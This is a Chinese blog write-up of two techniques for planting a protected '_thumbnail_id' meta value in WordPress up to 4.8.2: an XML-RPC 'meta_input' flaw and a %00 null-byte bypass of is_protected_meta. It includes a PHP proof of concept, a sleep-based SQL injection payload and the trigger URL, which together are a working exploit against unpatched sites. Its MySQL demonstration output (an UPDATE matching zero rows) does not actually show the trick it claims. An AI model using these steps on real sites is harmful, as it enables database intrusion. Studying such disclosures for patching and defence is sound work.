WordPress(4.8.2及以下版本) SQL注入漏洞利用
作者:admin | 时间:2017-11-22 01:19:11 | 分类:黑客技术 隐藏侧边栏展开侧边栏
之前已有几篇文章对WordPress(4.8.2及以下版本)的SQL注入进行了分析。看过漏洞分析的同学会发现该漏洞的利用除了需要编辑权限之外,还有一个关键步骤,需要将Payload作为_thumbnail_id的metavalue写入数据库,但是以`_`开头的meta_key为系统保留key,无法作为自定义key添加。本文将介绍两种添加_thumbnail_id的方法。
WordPress中的POST META为文章
的自定义栏目/字段
,就如一篇文章
中会有标题
、作者
等字段,但是对于有些主题/插件来说,文章
中的自有字段显得不够用,就需要用到自定义栏目/字段
。
(该操作的位置在添加/编辑文章
,在文本编辑框下方的自定义栏目
,如果没有找到自定义栏目
,需要在右上角的显示选项
内将自定义栏目
勾选。)
自定义栏目/字段
的数据以meta_key
(字段/栏目名)->meta_value
(值)的形式存放在wp_postmeta
表内。以下划线
开头的meta_key
(字段/栏目名)被认为是保留字段,不允许用户添加。
本文将介绍如何绕过Wordpress的meta_key
检查,添加字段/栏目名以下划线
开头的自定义栏目/字段
。
第一章 WordPress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞
参考内容:WordPress 4.7.5 Security and Maintenance Release
1.1 POC
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/post_id/, $content);
POC来自 WordPress SQLi — PoC by slavco
1.2 漏洞分析
补丁位置:wp-includes/class-wp-xmlrpc-server.php
{% asset_img 1.2.1.png 漏洞分析 %}
根据补丁的内容,是将传入的$content_struct内容进行了白名单限制,同时也过滤了POC中的meta_input
。
1.先看修复后的_insert_post函数中我们关注代码(文件:wp-includes/class-wp-xmlrpc-server.php)
protected function _insert_post( $user, $content_struct ) {
$defaults = array(
...//ignore 'custom_fields' => null, 'terms_names' => null, 'terms' => null, 'sticky' => null, 'enclosure' => null, 'ID' => null,
);
$post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );
...//ignore if ( isset( $post_data['custom_fields'] ) )
$this->set_custom_fields( $post_ID, $post_data['custom_fields'] );
...//ignore $post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true ); if ( is_wp_error( $post_ID ) ) return new IXR_Error( 500, $post_ID->get_error_message() ); if ( ! $post_ID ) return new IXR_Error( 401, __( 'Sorry, your entry could not be posted.' ) ); return strval( $post_ID );
}
按正常的业务流程,POST META应当是从custom_fields
中获取,之后带入set_custom_fields函数中,而且set_custom_fields函数会对meta_key
进行检查,不应当存在问题。
但是在wp_update_post函数与wp_insert_post函数中,会从$post_data['meta_input']中取出数据,不经检查直接添加到自定义栏目/字段
中。
2.函数wp_insert_post中我们关注的代码(文件:wp-includes/post.php)
function wp_insert_post( $postarr, $wp_error = false ) {
...//ignore $postarr = wp_parse_args($postarr, $defaults); unset( $postarr[ 'filter' ] );
$postarr = sanitize_post($postarr, 'db');
...//ignore if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
}
...//ignore }
第二章 WordPress ≤ 4.8.2 POST META 校验绕过漏洞
WordPress目前最新版为4.8.3,建议大家更新。
2.1 一个MySQL的trick
1). 正常的条件查询语句
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key | meta_value | +---------+---------+----------------+------------+ | 4 | 4 | _thumbnail_id | TESTC | +---------+---------+----------------+------------+ 1 row in set (0.00 sec)
2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
3). 再次执行第一步的查询
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key | meta_value | +---------+---------+----------------+------------+ | 4 | 4 | _thumbnail_id | TESTC | +---------+---------+----------------+------------+ 1 row in set (0.00 sec)
我们可以发现依然可以查询出修改后的数据。
2.2 POST META 校验绕过
我们来看下检查meta_key
的代码,文件./wp-includes/meta.php:
function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( '_' == $meta_key[0] ); /**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/ return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}
is_protected_meta
函数只检查了$meta_key
的第一个字符是否以_
开头。我们有了2.1的MySQL trick,想要绕过meta_key
的检查就显得容易多了。
2.3 POC
- 添加自定义字段,meta_key为’_thumbnail_id’的meta_value为’55 %1$%s or sleep(10)#’
-
在添加
自定义栏目/字段
时抓包,将_thumbnail_id替换为%00_thumbnail_id - 访问/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#,触发SQL注入漏洞
参考
- WordPress 4.7.5 Security and Maintenance Release – https://wordpress.org/news/2017/05/wordpress-4-7-5/
- WordPress SQLi — PoC by slavco – https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e
- WordPress post meta data checks bypass – https://hackerone.com/reports/265484
- WordPress <= 4.8.2 SQL Injection POC – http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/
*本文作者:Ambulong